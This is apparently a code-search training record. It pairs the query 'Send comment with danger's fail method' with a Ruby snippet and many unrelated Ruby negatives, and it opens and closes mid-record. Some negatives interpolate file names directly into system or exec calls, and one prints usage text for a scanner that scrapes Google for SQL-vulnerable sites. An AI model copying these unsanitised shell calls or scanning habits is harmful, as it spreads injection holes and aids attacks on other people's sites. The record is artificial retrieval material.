code.empty?\n\n Dir.new('.').each do |directory|\n next unless /[a-z]{2,3}\\d{4}/.match(directory) and code[directory].nil?\n code[directory] = view_code_for(directory)\n end\n ensure\n file.write(YAML.dump(code))\n end", "def partialEvaluateFiles\n pe = PE.new()\n Dir.foreach('..\\input') { |file|\n if (File.fnmatch(\"*.rb\", file))\n puts \"Start pe of #{file}\"\n if ($debug)\n a = PE.new\n a.run(nil, file)\n\n else\n system (\"ruby pe.rb #{file}\")\n end\n end\n }\nend", "def reformattedFile(theArgs, theFile)\n\n\t# Apply the formatters\n\t#\n\t# uncrustify is used to perform code transformations, such as\n\t# adjusting parentheses or braces.\n\t#\n\t# clang-format is then used to perform code reformatting.\n\t#\n\tpathConfigUC = \"#{theArgs[:config]}/#{FILE_CONFIG_UNCRUSTIFY}\";\n\t\n\ttheText =\t`cat \"#{theFile}\" | \\\n\t\t\t\t\"#{PATH_UNCRUSTIFY}\" -q -l CPP -c \"#{pathConfigUC}\" | \\\n\t\t\t\t\"#{PATH_CLANG_FORMAT}\" -style=file`;\n\n\n\n\t# Apply additional rules\n\tif (!theArgs[:clang])\n\t\ttheLines = splitLines(\t\t\ttheText);\n\t\ttheLines = formatComments(\t\ttheLines);\n\t\ttheLines = formatPreprocessor(\ttheLines);\n\t\ttheLines = formatScopes(\t\ttheLines);\n\t\ttheLines = formatIndents(\t\ttheLines);\n\n\t\ttheText = combineLines(\t\t\ttheLines);\n\t\ttheText = rewriteCopyright(\t\ttheText, theFile);\n\t\ttheText = rewriteHeaderGuard(\ttheText, theFile);\n\t\ttheText = rewriteGroups(\t\ttheText);\n\tend\n\n\treturn theText;\n\nend", "def render_markdown(file)\n renderer = PygmentizeHTML\n extensions = {:autolink => true, :hard_wrap => true, :space_after_headers => true, :highlight => true, :tables => true, :fenced_code_blocks => true, :gh_blockcode => true}\n redcarpet = Redcarpet::Markdown.new(renderer, extensions)\n @file = redcarpet.render file\n end", "def annotate_one_file(file_name, info_block, position, options = T.unsafe(nil)); end", "def run_with_pretty_exceptions\n unless self.respond_to?(:run)\n text.error \"You need to add a #run method to your meg command before you can use it\"\n end\n run\n rescue Exception => e\n raise if Meggy::Config[:verbosity] == 2\n humanize_exception(e)\n exit 100\n end", "def formatted_source_file(result, source_file)\n template(\"source_file\").result(binding)\n rescue Encoding::CompatibilityError => e\n puts \"Encoding error file:#{source_file.filename} Coverband/ERB error #{e.message}.\"\n end", "def my_aide(_args)\n system(\"less #{__dir__}/../docs/aide\")\n end", "def file(filename, indent)\n line_num = 0\n File.readlines(filename).each do |line|\n line_num += 1\n line.prepend(' ' * indent) unless line.empty? || line_num == 1\n end.join.chomp\n end", "def do_a_thing\n puts \"We are doing a thing!!!!!!!!!!!!!!!! #{file_name}\"\n end", "def tapp\n tap { puts \"#{File.basename caller[4]}: #{self.inspect}\" }\n end", "def stagger_output(text, out = nil)\n if _pry_\n _pry_.pager.page text\n else\n Pry.new.pager.page text\n end\n end", "def ruby(*args)\n run \"#{RUBY} #{args.join(' ')}\"\n end", "def ruby(*args)\n run \"#{RUBY} #{args.join(' ')}\"\n end", "def ruby_file_contents(filename)\n parser = Opal::RubyParser.new File.read(filename)\n result = parser.parse!.generate_top\n result\n end", "def final_pretty_code_listing(lines, caption=nil, ruby_filename=nil)\n # remove trailining white space\n lines.each_with_index {|r,i| lines[i]=r.rstrip}\n # make a string\n raw = lines.join(\"\\r\\n\") # windows friendly?\n # pretty print does not like <> brackets\n raw = process_angle_brackets_and_ampersands(raw)\n s = \"\"\n add_line(s, \"<pre class='prettyprint'>#{raw}</pre>\")\n if !caption.nil?\n caption = post_process_text(caption) # process text\n add_line(s, \"<div class='caption'>#{caption}</div>\") \n end \n if !ruby_filename.nil?\n\t add_line(s, \"<div class='download_src'>Download: <a href='#{ruby_filename}'>#{ruby_filename}</a>. Unit test available in the <%=machinelearning_dev_url(\\\"github project\\\")%></div>\")\n\tend\n return s\nend", "def start()\n source_in = File.new(@file, \"r\")\n read_source(source_in)\n\n # Pad with spaces if necessary\n if !@nopad\n pad()\n end\n\n execute()\n end", "def exec_file(file)\n exec \"#{file}\"\n end", "def run(file, cmd, *args)\n env = Environment.load(source: file)\n exec env, cmd, *args\n end", "def interp\n rboutput = `ruby #{RB_FILE} #{RBTEX_OUT}`\n if rboutput == ''\n puts 'Your ruby file had no puts statments'.green\n end\n return 0\nend", "def build_verbatim margin\n verbatim = super\n\n verbatim.format = :ruby if @section == 'Examples'\n\n verbatim\n end", "def usage()\n puts \"Usage: ./ruby_views JSON_file\"\n exit\nend", "def lint_files(files = nil)\n # Installs a prose checker if needed\n system 'pip install --user proselint' unless proselint_installed?\n\n # Check that this is in the user's PATH after installing\n raise \"proselint is not in the user's PATH, or it failed to install\" unless proselint_installed?\n\n # Either use files provided, or use the modified + added\n markdown_files = get_files files\n\n proses = {}\n to_disable = disable_linters || [\"misc.scare_quotes\", \"typography.symbols\"]\n with_proselint_disabled(to_disable) do\n # Convert paths to proselint results\n result_jsons = Hash[markdown_files.to_a.uniq.collect { |v| [v, get_proselint_json(v)] }]\n proses = result_jsons.select { |_, prose| prose['data']['errors'].count > 0 }\n end\n\n # Get some metadata about the local setup\n current_slug = env.ci_source.repo_slug\n\n # We got some error reports back from proselint\n if proses.count > 0\n message = \"### Proselint found issues\\n\\n\"\n proses.each do |path, prose|\n git_loc = \"\"\n if defined? @dangerfile.github\n git_loc = \"/#{current_slug}/tree/#{github.branch_for_head}/#{path}\"\n elsif defined? @dangerfile.gitlab\n git_loc = \"/#{current_slug}/tree/#{gitlab.branch_for_head}/#{path}\"\n else\n raise \"This plugin does not yet support bitbucket, would love PRs: https://github.com/dbgrandi/danger-prose/\"\n end\n\n message << \"#### [#{path}](#{git_loc})\\n\\n\"\n\n message << \"Line | Message | Severity |\\n\"\n message << \"| --- | ----- | ----- |\\n\"\n\n prose['data']['errors'].each do |error|\n message << \"#{error['line']} | #{error['message']} | #{error['severity']}\\n\"\n end\n end\n\n markdown message\n end\n end", "def minimal_program\n <<-RUBY\n module Byebug\n byebug\n\n \"Hello world\"\n end\n RUBY\n end", "def debug_in_temp_file(program)\n example_file.write(program)\n example_file.close\n\n load(example_path)\n end", "def test() \n @runner.prepareForFile(@filename)\n testIfAvailable(codeFilename())\n end", "def dotfile()\n end", "def dotfile()\n end", "def procfile\n # Generate base Procfile\n template 'dotfiles/Procfile.tt', 'Procfile'\n # Generate Procfile running foreman in development\n template 'dotfiles/Procfile.tt', 'Procfile.dev', env: 'development'\n end", "def run(content, params = {})\n # Add filename to load path\n Uglifier.new(params).compile(content)\n end", "def generate_charts(filename)\n contents = File.open(filename) { |f| f.read }\n contents.scan( /<!-- @tchart (.*?) -->(.*?)<!-- @end -->/m ) do |fn, spec|\n puts fn\n Dir.chdir(\"images/src\") do\n File.open(\"drawing.txt\", \"w\") { |f| f.write(spec) }\n system \"tchart drawing.txt drawing.tikz\"\n system \"pdftex -interaction=batchmode drawing.tex > /dev/null\"\n system \"pdfcrop --margins '30 5 30 10' drawing.pdf cropped.pdf > /dev/null\"\n system \"gs -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -r100 -sDEVICE=jpeg -dJPEGQ=100 -sOutputFile=../#{fn} cropped.pdf\"\n system \"rm drawing.txt drawing.tikz drawing.pdf cropped.pdf drawing.log drawing.pgf\"\n end\n end\nend", "def examples_page\n Format.usage('This is my examples page, I\\'ll show you a few examples of how to get me to do what you want.')\n Format.usage('Running me with a file: whitewidow.rb -f <path/to/file> keep the file inside of one of my directories.')\n Format.usage('Running me default, if you don\\'t want to use a file, because you don\\'t think I can handle it, or for whatever reason, you can run me default by passing the Default flag: whitewidow.rb -d this will allow me to scrape Google for some SQL vuln sites, no guarentees though!')\n Format.usage('Running me with my Help flag will show you all options an explanation of what they do and how to use them')\n Format.usage('Running me without a flag will show you the usage page. Not descriptive at all but gets the point across')\nend", "def textile_ruby( tag, atts, cite, content )\n %(<pre><code class=\"ruby\">#{content}</pre></code>)\n end", "def dotfile()\nend", "def show_usage_and_exit\r\n puts 'Usage:', 'verifier.rb *filename* file should be a blockchain.txt file'\r\n exit 1\r\nend", "def format_code(code,test)\n <<-EOS\n#!/usr/bin/env ruby\nrequire \\'minitest/autorun\\'\n \n#{code}\n\nclass UserCodeTest < Minitest::Test\n \n def test_assertions \n #{test}\n end\nend\n EOS\n end", "def compile_snippet(filename, &block)\n begin\n source = File.open(filename, \"rb\"){|f| f.read }\n html = @html.htmlize(@markup, source)\n html = @erb.eval(html, &block)\n rescue Errno::ENOENT\n $stderr.printf(\"\\n%s: snippet not found\\n\", filename)\n return\n end\n end", "def poem &block\n annotate block do |c|\n c.split(\"\\n\").join(\" \\n\")\n end\nend", "def parse_file(file)\n File.open(file) do |f|\n parse_snippet(f.read)\n end\n end", "def format_code strip = true\n format_ruby self.code, strip\n end", "def pretty_text_pokemon(pokemon_ins)\n puts \"#{pokemon_ins.name.capitalize}\\n\"\n print \"Type: #{pokemon_ins.types_array[0].name.capitalize}\" \n print \"/#{pokemon_ins.types_array[1].name.capitalize}\" if pokemon_ins.types_array[1] \n puts \"\"\n puts \"\\n#{pokemon_ins.pokedex_entry}\"\n puts \"\\nHeight: #{(pokemon_ins.height * 3.937).round(2)} in / #{(pokemon_ins.height * 0.1).round(2)} m\"\n puts \"Weight: #{(pokemon_ins.weight / 4.536).round(1)} lb / #{(pokemon_ins.weight * 0.1).round(2)} kg\"\n end", "def stagger_output(text, _out = nil)\n if defined?(_pry_) && _pry_\n _pry_.pager.page text\n else\n Pry.new.pager.page text\n end\n end", "def run(filename, css); end", "def cli_execute_make_transform_scaffold\n File.open(File.dirname(__FILE__)+'/data/transform_template.rb.tmpl','r') do |f|\n body = f.readlines.join('')\n body.gsub!('%%timestamp%%',Time.now.strftime(\"%a, %d %b %Y\"));\n body.gsub!('%%app name%%',cli_program_name);\n STDOUT.syswrite body\n end\n end", "def indentify_commands\n\t\tif is_file_input?(ARGV)\n\t\t\tcommands = extract_commands_from_input_file(ARGV)\n\t\t\tinitiate_parking(commands.shift)\n\t\t\trun_commands_from_file(commands) if @@lot\n\t\telse\n\t\t\tread_command_from_console_and_extract\n\t\tend\n\tend", "def highlight(code, options = T.unsafe(nil)); end", "def run\n opts = @options.options\n if opts[:infile]\n separator = Separator.new\n separator.process(opts)\n separator.print_statistics(opts)\n @options.save_result_files opts\n end\n if show = opts[:show]\n system \"less #{@options.get_file_from_history show}\"\n end\n end", "def run_pandoc\n command = unless @input_files.nil? || @input_files.empty?\n \"#{@@pandoc_path} #{@input_files} #{@option_string}\"\n else\n \"#{@@pandoc_path} #{@option_string}\"\n end\n output = error = exit_status = nil\n options = {}\n options[:stdin_data] = @input_string if @input_string\n output, error, exit_status = Open3.capture3(command, **options)\n raise error unless exit_status && exit_status.success?\n output\n end", "def sass_example(file)\n file = File.new(Dir.glob(File.join(Sinatra::Application.root , '../sass', \"#{file}.{sass,scss}\").to_s).first)\n\n code_toggle file.read(), Pathname.new(file.path).relative_path_from(Pathname.new(Sinatra::Application.root)), file.mtime\n end", "def read_source_code\n puts File.readlines($0)\nend", "def run(_path)\n return instance_eval(File.read(_path)) if File.extname(_path) == '.rb'\n _source = Heist.parse(File.read(_path))\n _scope = FileScope.new(self, _path)\n _source.eval(_scope)\n end", "def run(filename, options) end" ]
[ "0.6585797", "0.59290314", "0.5559853", "0.5299781", "0.52497834", "0.5212173", "0.5137138", "0.5120828", "0.5104793", "0.50013024", "0.4977718", "0.49138522", "0.48643175", "0.48254505", "0.48222095", "0.48161235", "0.47753114", "0.47721133", "0.47719726", "0.47668064", "0.47520226", "0.47366107", "0.47309843", "0.47249225", "0.4718869", "0.47082758", "0.4700021", "0.46952978", "0.46913195", "0.46858287", "0.46813568", "0.46534562", "0.4652541", "0.46509114", "0.46453384", "0.46441928", "0.46317887", "0.46290007", "0.46111208", "0.4609663", "0.46040836", "0.45884806", "0.45867553", "0.4585882", "0.4580356", "0.45766482", "0.45756826", "0.45742524", "0.4571457", "0.4566881", "0.456436", "0.45635417", "0.4559546", "0.45550218", "0.45446026", "0.45370546", "0.45364478", "0.45286533", "0.45195204", "0.45167333", "0.4514798", "0.45126215", "0.45126215", "0.45108166", "0.45091546", "0.45064312", "0.4495365", "0.44944927", "0.44898516", "0.448872", "0.44859037", "0.448017", "0.4478752", "0.4478078", "0.44779623", "0.44777536", "0.44777536", "0.44762248", "0.44738302", "0.44707227", "0.4467294", "0.4463356", "0.44632602", "0.44561818", "0.44560665", "0.44550362", "0.4448475", "0.4438522", "0.44376656", "0.44317186", "0.44255146", "0.4424724", "0.44240198", "0.44208795", "0.44201922", "0.44134724", "0.44133773", "0.44128445", "0.44051233", "0.43932462", "0.4385173" ]
0.0
-1
Send comment with danger's fail method.
def send_comment(results) dir = "#{Dir.pwd}/" results.each do |r| filename = results["filePath"].gsub(dir, "") fail("File not formatted with Prettier", file: filename, line: 0) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def fail(reason)\n end", "def post_fail_message; end", "def fail!(exception = nil, comment: nil, backtrace: nil)\n self.status = \"Fail\"\n self.end_time = Time.now\n\n unless exception.blank?\n self.comment = exception.to_s\n self.backtrace = exception.backtrace.join(\"\\n\")\n end\n\n # Manually passed named arguments overwrite exception if that was also provided.\n self.comment = comment unless comment.blank?\n self.comment ||= 'Fail'\n self.backtrace = Array(backtrace).join(\"\\n\") unless backtrace.blank?\n\n save\n end", "def failure!\n end", "def rude_comment\n @res.write GO_AWAY_COMMENT\n @res.status = 404\n end", "def fail!\n @failed = true\n end", "def fail(message = nil)\r\n @status = FAIL\r\n @assert = false\r\n end", "def fail!\n @success = false\n end", "def fail\n @failed = true\n end", "def fail!\n @success = false\n end", "def fail!\n @success = false\n end", "def fail(description, message, line, file)\n raise \"Implement this in a sub-class\"\n end", "def fail\n # no-op\n end", "def fail\n end", "def fail!(msg = nil)\r\n @success = false\r\n @misses.push msg unless msg.nil?\r\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end", "def fail! with_message\n full_message = [with_message + \" at line #{lineno}\"]\n full_message << \" + #{ref_line.inspect}\"\n full_message << \" - #{output_line.inspect}\"\n \n @failure = full_message.join(\"\\n\")\n throw :fail\n end", "def fail(message)\n self.failures << message\n puts \"fail #{message}\"\n end", "def error!(message)\n error(message)\n fail!\n end", "def error!(message)\n error(message)\n fail!\n end", "def failed!\n @success = false\n end", "def failure_message; end", "def failure_message; end", "def failure_message; end", "def failure_message; end", "def failure_message; end", "def failure_message; end", "def failure_message; end", "def fail(message=nil)\n halt(message, 1)\n end", "def fail(message = nil)\r\n @rule_set.fail(message)\r\n end", "def failure\n super\n end", "def failure\n end", "def send_comment(results)\n dir = \"#{Dir.pwd}/\"\n results['messages'].each do |r|\n filename = results['filePath'].gsub(dir, '')\n method = r['severity'] > 1 ? 'fail' : 'warn'\n send(method, r['message'], file: filename, line: r['line'])\n end\n end", "def do_failure; end", "def failure\n super\n end", "def fail(description, message, line, file)\n print yellow(\"F\")\n @details << \"FAILURE - #{test_detail(description, message)} #{line_info(line, file)}\".strip\n end", "def fail(task, error)\n raise error\n end", "def failure(msg)\n Detail::Fail.new(msg)\n end", "def fail(message)\n @exception = message\n end", "def comment_create_error(comment)\n Rails.logger.info(\"Comment was NOT created\")\n @comment = comment\n respond_to do |format|\n format.html { render 'articles/show' }\n format.js { render 'create_error' }\n end\n\n end", "def something_should_fail!\n @should_fail = true\n end", "def fail(check)\n update_check_status(check, 'fail')\n end", "def fail!\n @__result.fail!\n throw :fail\n end", "def fail message = nil, data = {}\n __assert_block FAILING, message, data\n end", "def fail!\n @__result.fail!\n throw :fail\n end", "def fail(reason = 'Test case called fail!')\n raise Bcpm::Tests::AssertionError, reason\n end", "def failure\n Ballots::NotificationsMailer.failure\n end", "def error_message(e)\n fail e\n end", "def render_error(comment = nil, result: :error, status: :ok)\n render json: { result: result, comment: comment }, status: status\n end", "def failure_message_when_negated; end", "def failure_message_when_negated; end", "def failure_message_when_negated; end", "def fail!(**arguments)\n context.fail!(**arguments)\n end", "def fail(message)\n $marathon.fail(message)\nend", "def fail(*args)\n super(*args)\n end", "def failure\n !success\n end", "def failure\n UserMailer.failure\n end", "def fail(message) [:fail, message.to_s, line, file]; end", "def fail(task, error)\n @failure = error\n @complete = true\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n logger.info \"\\n\\n#{@err_msg}\\n\\n\"\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n logger.info \"\\n\\n#{@err_msg}\\n\\n\"\n end", "def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n logger.info \"\\n\\n#{@err_msg}\\n\\n\"\n end", "def fail(message)\n $marathon.fail(message)\nend", "def send_error_reply tweet, message\n tweeter = Tweeter.default\n status = \"@#{tweet.from_user} Sorry. Your vote was rejected. #{message}\"\n tweeter.status_update( status, tweet.tweet_id )\n logger.info(\"ERROR MESSAGE SENT\")\n end", "def fail_with(reason,msg=nil)\n # The reason being registered here will be used later on, so it's important we don't actually\n # provide a made-up one.\n allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}\n if allowed_values.include?(reason)\n self.fail_reason = reason\n else\n self.fail_reason = Msf::Module::Failure::Unknown\n end\n\n self.fail_detail = msg\n raise Msf::Exploit::Failed, (msg || \"No failure message given\")\n end", "def test_function_edit_comment_unsuccessfully\n comment_id = 1\n data = {\n user_id: \"wrong_id\",\n post_id: \"wrong_id\",\n content: \"This is a comment\"\n }\n comment = V1::Comment.edit_comment(comment_id,data)\n actual = comment[:meta][:code]\n expected = 3005\n puts this_method_name + \" - \" +assert_equal(expected, actual).to_s\n end", "def failure!(message = nil, options = {})\n ensure_empty_status!\n\n errors.add(:base, message, options) if message.present?\n\n self.performable_status = :failure\n self\n end", "def custom_failure!\n @custom_failure = true\n end", "def failure\n @failure.call(self) if @failure\n end", "def leave_failure_comment\n most_recent_comment = @pull_request.comments.last || Curry::PullRequestComment.new\n potential_comment = @pull_request.comments.new(\n unauthorized_commit_authors: unauthorized_commit_emails_and_logins\n )\n\n if potential_comment.mentioned_commit_authors != most_recent_comment.mentioned_commit_authors\n @octokit.add_comment(\n @repository.full_name,\n @pull_request.number,\n failure_message\n ).tap do |comment|\n potential_comment.github_id = comment.id\n potential_comment.save!\n end\n else\n most_recent_comment.touch\n end\n end", "def fail(reason)\r\n raise RegistrationError, reason\r\n end", "def fail_unexpectedly(message)\n log \"An unexpected error occurred: #{message}\"\n @ticket.request_error! @last_log_message\n end", "def failure_message\n @message\n end", "def rejected(bid)\n @bid = bid\n mail :to => bid.bidder.email\n body :bid => bid\n end", "def jobfail(log,msg)\n Rails.logger.error(\"#{log} #{self.id}\")\n self.update_attributes(:status =>'error',:errormsg => msg)\n user = User.find_by_email(self.email)\n UserMailer.job_failed(user,self).deliver \n UserMailer.admin_job_failed(self).deliver\n end", "def faulty(aReason)\n @failure_reason = aReason\n end", "def fail_job job, error\n job.fail error\n end", "def miss_reason; end", "def negative_failure_message\n end", "def update\n respond_to do |format|\n if @comment.update(comment_params)\n format.html { redirect_to @comment, notice: 'Comment was fail updated.' }\n format.json { render :show, status: :ok, location: @comment }\n format.html { render :edit }\n format.json { render json: @comment.errors, status: :unprocessable_entity }\n end\n end\n end", "def failure\n @failure.call(self) if @failure\n end", "def failed(message)\n log << \"[FAILURE] #{message}\"\n @failed = true\n end", "def handle_validation_fail(comment = \"Arguments had conflicts\")\n clear\n\n puts Rainbow(\"Validation Fail: #{comment}\\n\\n\").red\nend", "def do_fail(msg)\n\n h.state = 'failing'\n h.applied_workitem = msg['workitem']\n\n if h.children.size < 1\n\n reply_to_parent(h.applied_workitem)\n\n else\n\n flavour = msg['immediate'] ? 'kill' : nil\n\n persist_or_raise\n\n h.children.each do |i|\n @context.storage.put_msg('cancel', 'fei' => i, 'flavour' => flavour)\n end\n end\n end", "def report_failure(title, msg)\n @ok = false\n @failure_title = title\n @failure_message = msg\n # note that the errback handler is expected to audit the message based on\n # the preserved title and message and so we don't audit it here.\n EM.next_tick { fail }\n true\n end", "def fail!\n return if state == 'FAILED'\n JobTracker.transaction do\n update_attribute(:state, 'FAILED')\n Delayed::Job.destroy_failed_jobs ? delayed_jobs.each(&:destroy) : delayed_jobs.each do |dj|\n dj.update_attribute(:failed_at, Time.now)\n end\n end\n end", "def report_failure\n @report.fail\n end", "def report_failure\n @report.fail\n end", "def send_inline_comments(results)\n results.each do |result|\n result[\"errors\"].each do |error|\n file = result[\"file\"]\n message = error[\"message\"]\n line = error[\"line\"]\n fail(message, file: file, line: line)\n end\n end\n end", "def fail!(discriminator, bantime, findtime, maxretry); end", "def error\n failure\n end", "def comment_moderation(user_id, comment_id, url_title, response)\n @user = User.find(user_id)\n @utitle = url_title\n @comment = Comment.find(comment_id)\n\n mail :to => recipient(@user.email), :subject => \"25c Testimonial Notification for #{@utitle}\"\n end", "def commented (commentable, comment, email)\n @commentable = commentable\n @comment = comment\n mail :to => email,\n :subject =>\"#{@commentable.class} \\\"#{@commentable.title}\\\" has been commented\"\n end", "def test_function_create_comment_unsuccessfully\n data = {\n user_id: \"wrong_id\",\n post_id: 1,\n content: \"This is a comment\"\n }\n comment = V1::Comment.create_comment(data)\n actual = comment[:meta][:code]\n expected = 1001\n puts this_method_name + \" - \" +assert_equal(expected, actual).to_s\n end", "def error!(text, **message)\n\t\t\t\t\tmessage[:errno] ||= -1\n\t\t\t\t\t\n\t\t\t\t\tsend(status: text, **message)\n\t\t\t\tend", "def unsuccessful_ballot(user, round)\n @user = user\n @round = round\n mail(to: user.email, reply_to: '[email protected]', subject: '[Locker Ballot] Locker Ballot Unsuccessful') if user.email\n end", "def comment_recieved(comment)\n @comment = comment\n\n mail :to => comment.email_address, :subject => \"KM CMS comment confirmation\"\n end", "def error_in_submission(pid, reason)\n throw reason\n end" ]
[ "0.6847041", "0.68063587", "0.6464484", "0.6438094", "0.64310247", "0.6412582", "0.6343649", "0.6308159", "0.62753516", "0.6269057", "0.6269057", "0.62167585", "0.61927426", "0.61858547", "0.6170798", "0.6160426", "0.6160426", "0.6160426", "0.6160426", "0.61388856", "0.61258274", "0.61150926", "0.6094262", "0.60769445", "0.60171604", "0.60171604", "0.60171604", "0.60171604", "0.60171604", "0.60171604", "0.60171604", "0.6012099", "0.5994046", "0.5989516", "0.59786785", "0.5961632", "0.59527326", "0.59459186", "0.58879226", "0.5884254", "0.58745223", "0.5849744", "0.5848211", "0.584304", "0.58377653", "0.5836021", "0.5833323", "0.58273417", "0.58203506", "0.5810214", "0.5792579", "0.578906", "0.57850003", "0.57850003", "0.57850003", "0.5782954", "0.5779099", "0.57757944", "0.5775045", "0.57725555", "0.5765451", "0.57613266", "0.57504886", "0.57504886", "0.57504886", "0.57442224", "0.5738812", "0.57366586", "0.570653", "0.5695948", "0.56831944", "0.5667554", "0.566287", "0.56507856", "0.56384414", "0.56371415", "0.5619944", "0.56195945", "0.5616305", "0.56152207", "0.5597173", "0.5595315", "0.55848956", "0.55744475", "0.5573781", "0.5565573", "0.55579954", "0.5557625", "0.55574054", "0.5537391", "0.5537391", "0.5528665", "0.552308", "0.55066544", "0.5502963", "0.5500819", "0.550035", "0.5494049", "0.5490363", "0.54900837", "0.5489694" ]
0.0
-1
def click(mode, pos) case mode when :f switch_flagged(pos) kina when :r reveal_tile(pos) end end
def reveal_tile(pos = self.cursor.pos) raise "spot taken" if revealed?(pos) reveal_bombs if bomb?(pos) cascade(pos) unless bomb?(pos) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reveal_clicked(x,y)\n tile = get_tile([(x.fdiv(@rat)).to_i,(y.fdiv(@rat)).to_i])\n value = reveal_tile(tile.pos)\n paint\n return value\n end", "def click(x, y)\n clicked = @board.click(x, y) == 'bomb'\n game_over if clicked == 'bomb'\n revealed if clicked == 'revealed'\n @board.print_board\n end", "def click\r\n start_point = screen.find ident\r\n click_x = start_point.x + offset_x\r\n click_y = start_point.y + offset_y\r\n\r\n screen.click click_x, click_y\r\n end", "def click; end", "def click; end", "def click; end", "def clicked;end", "def press(point)\n\t\t\t\t\n\t\t\tend", "def onLButtonDown(flags, x, y, view)\r\n# puts \"flags \" + sprintf('%08b',flags)\r\n if ((flags & 32) == 32) || ((flags & 8) == 8) # ALT button or CTRL button, alt does not work in Ubuntu\r\n# puts \"placing hole pattern\"\r\n \r\n if ((flags & 4) == 4) # want big hole too, SHIFT button down\r\n @dia = getDia()\r\n @dia = @dia < @cdia ? @dia : 0.to_l\r\n# puts \"dia #{@dia}\"\r\n end\r\n #get params\r\n if getPattern()\r\n #place hole pattern, bottom left is clicked point\r\n# puts \"#{@ip.position} #{@hspace}\"\r\n np = @ip.position\r\n ccnt = 1\r\n for v in 0..(@vcount - 1)\r\n# puts \"v #{v}\"\r\n for h in 0..(@hcount - 1)\r\n# puts \" h #{h}\"\r\n np.x = @ip.position.x + h * @hspace\r\n np.y = @ip.position.y + v * @vspace\r\n# puts \"#{np}\"\r\n\r\n #PlungeCut.cut(np, @depth, @dia, ccnt,@angle, @cdia)\r\n if @mode == 'CounterSink'\r\n PlungeCut.cut(np, @depth, @dia, ccnt,@angle,@cdia)\r\n else\r\n PlungeCut.cut(np, @depth, @dia, ccnt,@angle,@cdia, @cdepth) \r\n end\r\n \r\n ccnt += 1\r\n end\r\n end\r\n end\r\n else\r\n# if (@keyflag == 1)\r\n if ((flags & 4) == 4) # shift\r\n #prompt for diameter\r\n @dia = getDia()\r\n @dia = @dia < @cdia ? @dia : 0.to_l\r\n if (@dia > PhlatScript.bitDiameter)\r\n if @mode == 'CounterSink'\r\n PlungeCut.cut(@ip.position, @depth, @dia, 0,@angle,@cdia)\r\n else # mode is CounterBore\r\n PlungeCut.cut(@ip.position, @depth, @dia, 0,@angle,@cdia, @cdepth) \r\n end\r\n else\r\n puts \"Ignored dia <= bitdiameter\"\r\n end\r\n else\r\n @dia = @dia < @cdia ? @dia : 0.to_l\r\n if @mode == 'CounterSink'\r\n PlungeCut.cut(@ip.position, @depth, @dia, 0,@angle,@cdia)\r\n else\r\n PlungeCut.cut(@ip.position, @depth, @dia, 0,@angle,@cdia, @cdepth) \r\n end\r\n end\r\n end\r\n reset(view)\r\n end", "def click()\n mouse_down\n mouse_up\n stall :click\n end", "def press(point)\n\t\t\n\tend", "def clicked(e)\n \n end", "def isClick(x,y)\n @pixel = y * @rowstride + x * @n_channel\n if @tabPixel[@pixel+3] == 255\n @action.call\n end\n return @tabPixel[@pixel+3] == 255\n end", "def action_A_menu\n case @intern_mode\n when :choose_move_pokemon\n action_move_current_pokemon\n when :choose_move_item\n return $game_system.se_play($data_system.buzzer_se) if @team_buttons[@index].data.item_holding == 0\n @team_buttons[@move = @index].selected = true\n @intern_mode = :move_item\n @base_ui.show_win_text(text_get(23, 22))\n when :move_pokemon\n process_switch\n when :move_item\n process_item_switch\n else\n $game_system.se_play($data_system.decision_se)\n return show_choice\n end\n $game_system.se_play($data_system.decision_se)\n end", "def click(button, x, y)\n # Left Click: Bring a dead cell to life. \n if button == 1 \n x = x / @cell_width\n y = y / @cell_height\n @life.set_cell_alive! x, y\n self.draw\n # Right Click: Re-seed the grid.\n else\n randomize_cells!\n end\n end", "def add_flag(pos)\n tile = get_tile(pos)\n unless tile.revealed && tile.flagged\n tile.flagged = true\n true\n else \n false\n end \n end", "def button_down(id)\n if id == Gosu::KbEscape || id == Gosu::KbQ\n save\n close\n elsif id == Gosu::KbA\n @current_type = :terrain\n elsif id == Gosu::KbS\n @current_type = :enemies\n elsif id == Gosu::KbD\n @current_type = :candies\n elsif id == Gosu::KbLeft || id == Gosu::GpLeft\n @x_offset -= 1 if @x_offset > 0\n elsif id == Gosu::KbUp || id == Gosu::GpUp\n @y_offset -= 1 if @y_offset > 0\n elsif id == Gosu::KbRight || id == Gosu::GpRight\n @x_offset += 1 if @x_offset < LEVEL_WIDTH - 10\n elsif id == Gosu::KbDown || id == Gosu::GpDown\n @y_offset += 1 if @y_offset < LEVEL_HEIGHT - 10\n elsif id == Gosu::Kb1\n if @current_type == :terrain\n @current_selection = :background\n elsif @current_type == :enemies\n @current_selection = :slug\n elsif @current_type == :candies\n @current_selection = :soda\n end\n elsif id == Gosu::Kb2\n if @current_type == :terrain\n @current_selection = :platform\n elsif @current_type == :enemies\n @current_selection = :spikes\n elsif @current_type == :candies\n @current_selection = :gum\n end\n elsif id == Gosu::Kb3\n if @current_type == :terrain\n @current_selection = :player\n elsif @current_type == :enemies\n @current_selection = :mushroom\n elsif @current_type == :candies\n @current_selection = :chocolate\n end\n elsif id == Gosu::Kb4\n if @current_type == :terrain\n @current_selection = :door\n end\n elsif id == Gosu::Kb5\n if @current_type == :terrain\n @current_selection = :background2\n end\n elsif id == Gosu::MsLeft\n if @current_selection == :slug\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n x += 32 * @x_offset\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y -= 12\n y += 25 * @y_offset\n @enemies.push(Slug.new(self, x, y))\n elsif @current_selection == :spikes\n x = (mouse_x / SCALE).to_i\n x -= x % 32\n x += 3\n y = (mouse_y / SCALE).to_i\n y -= y % 25\n y -= 12\n x += 32 * @x_offset\n y += 25 * @y_offset\n @enemies.push(Spikes.new(self, x, y))\n elsif @current_selection == 